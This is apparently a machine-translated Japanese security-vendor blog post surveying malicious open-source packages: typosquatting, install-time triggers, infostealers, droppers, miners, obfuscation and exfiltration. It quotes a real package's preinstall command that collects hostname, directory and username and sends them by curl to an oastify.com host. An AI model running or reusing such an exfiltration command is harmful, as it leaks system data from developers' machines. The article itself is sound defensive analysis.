前回のエピソードでは、 オープンソースの悪意のあるパッケージ:問題点脅威アクターがなぜそれほど 新たな悪意のあるコンポーネントを公開したり、既存コンポーネントの最新バージョンにマルウェアを注入したりすることに熱心である:オープンソースのインフラストラクチャにより、誰でもどこでも一時的なアカウントを作成できる。 コンポーネントレジストリ(NPM、PyPI、Docker Hub、Visual Studio Marketplaceなど)または共同開発プラットフォーム(GitHubなど)で利用できます。費用は一切かからず、ソフトウェア開発チームが従来サードパーティ製コンポーネントに対して抱いていた過剰な信頼を活かす多くの機会が得られます。
攻撃者がオープンソースで利用可能なインフラストラクチャを利用してマルウェアを配布することの容易さと、ソフトウェアを開発する組織(ほぼすべての組織?)がマルウェアに感染すること(そして他者に配布するソフトウェアにマルウェアを混入させること)を回避することの難しさとの間の非対称性により、昨年は悪意のあるパッケージが25万件近くに達しました。
これは非常に大きな問題であり、単一の組織では解決できません。コミュニティは、信頼性、デフォルトでのセキュリティ、設計段階でのセキュリティ、コンポーネントのライフサイクルに関するオープンソースのプロセスを再構築している最中です。次回のエピソードでは、これらのアイデアについて詳しく見ていきます。 オープンソースの悪意のあるパッケージから身を守る:何が効果的で何が効果的でないか.
私たちが話しているのは、ほとんどの場合、 ソフトウェアパッケージ: 再利用可能なコンポーネントをパッケージ化し、ソフトウェアマニフェストの依存関係として参照できるようにし、パッケージマネージャまたはビルドツールを使用してインストールします。このケースは、パブリックにも拡張できることに注意してください。 コンテナイメージ (コンテナランタイムやKubernetesなどのオーケストレーションプラットフォームで使用される) ソフトウェアツールの拡張機能 (構築、自動化、および展開のため)
ここでは、これがどのように 悪意のあるコンポーネントに基づく攻撃戦術 過去の事例や、マルウェア早期警告プラットフォームで確認した内容に基づくと、 (MEW)悪意のあるコンポーネントをさまざまな側面から分析します。
(1)配布方法(新規または既存のコンポーネントで使用されるレジストリ、および公開されたコンポーネントバージョンを感染させるために使用される技術)、((2)マルウェアがどのように起動またはトリガーされるか、(3)悪意のある動作、つまりどのような有害な動作が観察され、攻撃者の動機は何か、(4)難読化、気づかれないための隠蔽、横方向の移動、コマンドおよび制御(C2)ホストとの通信などによく使われる技術、(5)被害者がコンポーネントをインストールするほど十分な人気と信頼を得るための技術。
選択された流通メカニズム
我々は「バックグラウンドノイズ悪意のある低レベルなパッケージが、依存関係のパッケージ名にタイプミスをつけて、不用心な開発者をフィッシングするためにタイプスクワッティングを利用しています。多くの人気パッケージは、タイプミスのある類似名のパッケージの集中攻撃を受けており、不用心な開発者をフィッシングすることを期待しています。
彼らは一時的なアカウントを使用し、タイポスクワッティングパッケージのグループを公開し、別のアカウントを作成して、別のグループを公開します... 自動化と創意工夫によってある程度の洗練度を得ることもできますが、通常はかなり些細なものです。私たちは内部で彼らを「アンチョビ認証情報の窃盗が主な目的ですが、時折、スパイウェアがソースコードや個人情報(PII)、クリップボードのキャプチャなどの機密データを漏洩させ、その他の不正行為を行っていることが判明します。
突然現れた、より高度な悪意のあるコンポーネント、「シャーク」。少数派は特定のグループや組織を標的にしており、通常は条件付きでアクティブ化される暗号通貨ドレンジャーやウェブスキマーを備えており、おそらくは、 イベントストリームインシデント 攻撃ペイロードを復号するのは、そのパッケージがターゲットパッケージから参照されている場合に限る。
流通メカニズムは、優れた論文であり、今では古典となっている論文で分析されている。裏切り者のナイフコレクション:オープンソースソフトウェアサプライチェーン攻撃のレビューこれは必読です。きっとあなたは以前にもこの素敵なグラフを見たことがあるでしょう。

新規および既存のパッケージを含むあらゆる手段が検討されました。ソースコード、ビルドシステム、またはパッケージ化されたコンポーネント自体に影響を与えること、盗まれた認証情報またはソーシャルエンジニアリングを使用すること、放棄されたアカウントおよびリポジトリを乗っ取ること、または管理されているアカウントおよびリポジトリを汚染することなどです。一部の攻撃には名前が付けられました (タイポスコーティング, 依存関係の混乱, 明らかな混乱, レポジャック(など)については既に他の場所で議論済みです。
選ばれた登録機関についてはどうでしょうか?
悪意のあるパッケージの総数ではNPMが依然としてトップですが、今年に入ってからPyPIで急増が見られました。Pythonはデータサイエンスや機械学習で人気の高いエコシステムです。実際、現在ではマルウェアの密度はNPMよりもPyPIの方が高くなっています。
マルウェアの起動方法
悪意のあるパッケージがインストール中に起動するのは10件中4件のみである(近年は10件中6件近くだった)。残りのパッケージは実行時に悪意のある動作を実行し、テスト実行中に起動するのは100件中1件に過ぎない。攻撃者は、インストールスクリプトの制御されない実行が多くの場所で無効化されていることを知っているようだ。
悪者たちは何を手に入れるのか?
悪意のある動作のカテゴリを、最も一般的なものから順にリストします。影響は大きく異なる場合があることに注意してください。 ワイパー 破壊力は極めて高いが、一般的ではなく、標的型サイバー戦争キャンペーンや悪質なハクティビズムに関連したごく少数の事例でしか確認されていない。以下のカテゴリは比較的よく見られる。
- InfoStealer / 資格情報ドレイナー最も頻繁に発生する攻撃は、90%以上を占める単純な窃盗攻撃で、主にパスワード、アクセストークン、APIキー、秘密鍵(SSHなど用)といった認証情報を狙っています。ワイパーと並んで、おそらく最も簡単に作成できる攻撃でしょう。既知のファイルやディレクトリ、その他のソース(レジストリキーなど)を列挙し、その内容をパッケージ化して、C2サーバーに送信します。その考え方は単純です。「認証情報をフィッシングするための窃盗ツールを公開し、後でその認証情報を使って標的型攻撃を開始できるようにする」。
観測されたC2ネットワークは、通常、Telegramチャンネルや ngrokのようなトンネル掘削ツール (多くの場合、VPN 出口 IP を介して公開されるリバース プロキシの形式です)。何百もの (!) の可能性があり、多くの GitHub プロジェクトが パスワード窃盗に関するトピックキーロガーのような特殊な機能は、悪意のあるパッケージやコンテナイメージではまれですが、ユーザーとのやり取りが想定されるツール拡張機能ではより頻繁に見られます。
- ドロッパー/ダウンローダー人気度では2番目に高く、多段階攻撃では最初に実行されることが多い。悪意のあるコンポーネントの3分の1以上には、ドロッパー(悪意のあるペイロードがパッケージに含まれている場合)またはダウンローダー(ペイロードが攻撃者の制御下にあるエンドポイントからダウンロードされる場合)が含まれている。ペイロードは既知のバイナリマルウェアの亜種であることが多く、バックドア、スパイウェア、クリプトドレイナー、その他のユースケースをインストールするために実行され、場合によっては永続化される。ダウンロードまたは展開されたペイロードは、既存のマルウェアバイナリが提供するすべてのパワーを使用して第2段階の攻撃を開始する。バイナリはパッケージ内に配布され、多くの場合、イメージまたは一見無害なファイルタイプに偽装して、予期しないサイトに接続する際に検出を回避する。
- 仮想通貨窃盗犯/マイナー金銭目的の攻撃者は、仮想通貨マイナーを実行するためにクラウド資産を使用することを厭わない(クラウドVMで実行されているかどうかも検出する)。 利益率が低い 盗まれたクラウドインフラストラクチャに対して被害者に請求された53ドルごとに1ドルが加算されます。被害者は、予期せぬ請求書を受け取るまでこのことに気づかないかもしれません。幸いなことに、これは一時的なものです。 クリプトジャッキ 悪意のあるパッケージによるキャンペーンが時折出現し、その後消滅し、ウォレットユーザーをフィッシングしたり、最終的にはウォレットプロバイダーを標的にしたりします。 台帳攻撃.
その他の動作、例えば 裏口 リバースシェルを開いてリモートコードを実行することは、以前ほど頻繁には行われなくなりました。たとえば、 123rf_contributor_web パッケージ(現在はレジストリから削除済み)は難読化なしで、リバースシェルをコピー&ペーストして開きます。 リバースシェル早見表:

正当なコンポーネントと悪意のあるコンポーネントに加えて、以下のようないくつかの不正使用が確認されています。
スパムパッケージ
マルウェアは含まれていないものの、簡単に稼げる、インチキ商品、バイアグラ販売へのリンクなどを謳う小さなパッケージが、主にNPMに何千と存在します。一部のユーザーがそのようなスパムを公開し、レジストリから大量の帯域幅を消費しています。インドネシア出身と思われる別の行為者が、利益を得ようと試みました。 teaRankを悪用する オープンソース開発者への報酬を目的として、関連するGitHubダミーリポジトリを持つ数万もの相互に関連するNPMパッケージを作成するという行為は、利用規約の明白な違反である。
バグ報奨金制度とセキュリティ研究に関するデマ
パッケージが、バグ報奨金プログラムのためのセキュリティ上の欠陥の検出やエコシステムの特定の側面の研究など、正当な目的でデータを漏洩すると説明している場合。このカテゴリのパッケージは数千個確認されており、PortSwigger (例: oastify.com ドメインのホスト) から Burp Collaborator アドレスに識別情報を取得するが、機密性の低いデータは取得しない。 依存関係の混乱 Alex Birsan による概念実証、 オーロラウェブメールプロ パッケージ(レジストリから削除済み)は、インストール前のスクリプトで以下の悪質なコードを実行するだけです。
exec("a=$(hostname; pwd; whoami; echo 'aurora-webmail-pro'; curl http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/;) && echo $a | xxd -p | head | while read ut; do curl -k -i -s http://kmauspo6z5noqllvwu0oj6lqahg84ysn.oastify.com/$ut;done") また、「これは単純な依存関係の混乱攻撃の概念実証です」免責事項の説明 package.jsonこれは、悪意の有無に関わらず、利用規約の明白な違反です。
朗報です。今のところ、悪意のあるコンポーネントを介して配信されるランサムウェア攻撃は確認されていません。理由は不明ですが、サイバー犯罪者は従来型のメールフィッシング、RDPベース、ドライブバイダウンロードといった配信手法を好んでいるようです。
観察されたその他の技術

持続性、防御回避、情報収集、指揮統制ホストとの通信、およびデータ漏洩のために、多くの技術が用いられた。
固執 悪意のあるコンポーネントでは、第2段階のバイナリマルウェアの永続性機能を使用してその動作が実現されますが、場合によっては、その動作はパッケージコードにあり、スケジュールされたタスクやWindowsレジストリの変更が最も一般的です。
難読化 一般的だが洗練されていない。ほとんどのタイポスクワッティングパッケージ(「アンチョビ”?) は全く難読化を使用しません。多くは、単純なもの(base64/16 エンコードや rot13 のような置換暗号)を使用するか、適切なツールがあれば簡単にリバースエンジニアリングできる既存のコード難読化ツールやミニファイ化を使用します。真のハードコアな難読化、リバースエンジニアリングが困難な難読化を行うのは「サメ」だけです。
難読化によって攻撃を隠蔽することはできますが、オープンソースコンポーネントのコードを難読化する必要があるのはなぜでしょうか?何かを隠蔽する必要があるという証拠はあるのでしょうか?私たちは、知的財産を保護するために難読化を使用している悪意のないパッケージを多数発見しており、これは「オープンソース」の理念と矛盾しています。難読化はマルウェアの証拠として使用できますが、決定的なものではありません。また、難読化を解除することも困難です。
回避 防御制御は単純な手法を採用しています。悪意のあるコードはしばしば保護されています。 試す…捕まえる 例外を無視するブロック機能により、異常なアクティビティはログに表示されません。特定の組織や環境を標的とするマルウェアの場合を除き、環境(仮想マシンまたはコンテナ内で実行されているか)の検証はまれです。
画像やPDFファイルにバイナリファイルを埋め込む(一種のステガノグラフィー)ことも、検出を回避するための手法の一つとして見られた。
最も一般的な悪意のあるコンポーネントは情報窃盗プログラムであるため、 データ収集 は不可欠です。秘密情報(パスワード、アクセストークン、API キー、暗号鍵)は、ログ ファイル、環境変数、さらにはクリップ ボード(バンキング トロイの木馬や暗号通貨窃盗マルウェアで見られる)で日常的にスキャンされます。ソース コードの漏洩も一般的です。パッケージのインストールは、内部の Git リポジトリがクローンされる可能性のある開発ノードで行われることが多いためです。パッケージがディレクトリを列挙して Git リポジトリを探しているのを見たことがあります。.env、private.pem、settings.py、app.js、application.properties などの場所を探すのはよくあることです。
データ漏洩は、広く行われているもう一つの手法です。悪意のあるパッケージのうち、抽出したデータの送信先を隠そうとするものはごく少数です。Telegramチャンネルと ングロックのようなトンネル よく使われます。そして、たくさんあります。 通常、データ漏洩に使用されるホワイトリスト登録ドメイン.
権限昇格や横方向への異動といった他の手法は、あまり一般的ではなかった。
人気と信頼の獲得
既製の殺人マルウェアを手にしたIT犯罪者が、「このクソみたいなマルウェアを、何も知らないバカどもに信用させるにはどうすればいいんだ?」と考えているところを想像してみてください。
つまり、悪意のあるコンポーネントのエントリに多くの星/フォーク(人気度)とバージョン/問題を表示させる方法、 pull requests (活動のため)目的は、架空の人気(スター)と支持者を獲得し、関連性と維持に関して説得力のある外観を作り出すことです。
レジストリは、GitHubプロジェクトの内容とパッケージの内容が一致するかどうかをチェックしません。これはソフトウェアサプライチェーンにおいてよく知られた問題です。公開レジストリは、投げ込まれたものすべてを飲み込む巨大なシンクホールのようなものです。どのリポジトリにもリンクできます。

悪意のあるパッケージが人気のあるパッケージをタイプミスで乗っ取った場合は簡単です。パッケージの作成とレジストリへの公開に使用される依存関係マニフェストで、既存のGitHubリポジトリを参照するだけです。偽のGitHubリポジトリ上の新しいパッケージの場合は、より工夫が必要になるかもしれません。例えば、偽のGitHubリポジトリを作成するなどです。 星空観察/フォーク スクリプトによるGitHubアカウントへのアクセス。
パッケージの内容がリポジトリの内容とかなり似ている場合は、巧妙に設計された変更をいくつかさりげなく加えてみましょう。既存のリポジトリを参照する人気のあるパッケージに似た新しいパッケージにマルウェアを注入し、タイプミスを待つことができます。誰かがパッケージのtarballの内容とGitHubリポジトリの内容を比較しようとしても、マルウェアが注入された箇所の違いは簡単に見落とされてしまうでしょう。私たちはこの手法を何度も見てきました。
部品が、その出所、パッケージの構築方法、供給元、および構築者について、改ざん防止機能を備えた記述を行う仕組みがあれば歓迎されるだろう。しかし、それはまた別の話だ。
コンポーネントXはマルウェアですか?
悪意のあるパッケージの(包括的な)データベースはありますか?いいえ。オープンソースの脆弱性にはCVE IDが割り当てられていますが、悪意のあるパッケージ(特にニュースで取り上げられるもの)にはごくわずかしか割り当てられていません。悪意のあるパッケージのCWEは CWE-506 (埋め込まれた悪意のあるコード)
一般的なマルウェア対策ツール(VirusTotal、MalwareBazaar、SOREL-20Mなど)には、悪意のあるコンポーネントに対する特別な対策がありません。そのような対策があればありがたいのですが!
研究用のサンプルデータベースや分析用データセットはいくつかありますが(私たちはそのうちのいくつかを使用しています)、エントリは悪意のあるパッケージが判明した場合にのみ更新されるため、多くの場合手遅れです。ご興味があれば、 OpenSSF 悪意のあるパッケージ 良いスタートですね。
次回の記事では、特定のパッケージが悪意のあるものかどうかを知る方法について説明します。ネタバレ:はい、レジストリが既知の悪意のあるコンポーネントを削除する前に、公開されている初期段階で悪意のあるコンポーネントをチェックする方法があります。
参考文献
次回のエピソードでは「オープンソースの悪意のあるパッケージから身を守る:何が効果的で何が効果的でないか オープンソースのセキュリティに関するすべきこととすべきでないことについて議論します。 セキュリティ意識の高い専門家のほとんどは、この脅威への対処法について直感的に理解しているが、誤解も多く存在する。
これらの考え方がなぜ間違っているのか、そしてこうした誤解がどのようにしてこの攻撃手法の蔓延と、組織が直面する圧倒的なリスクにつながっているのかを検証します。その後、実際に効果のある対策と、それに必要な労力とリソースについて説明します。
また、悪意のあるパッケージの進化について、その意図、注入メカニズム、攻撃手法の観点から解説していく予定です。
乞うご期待!






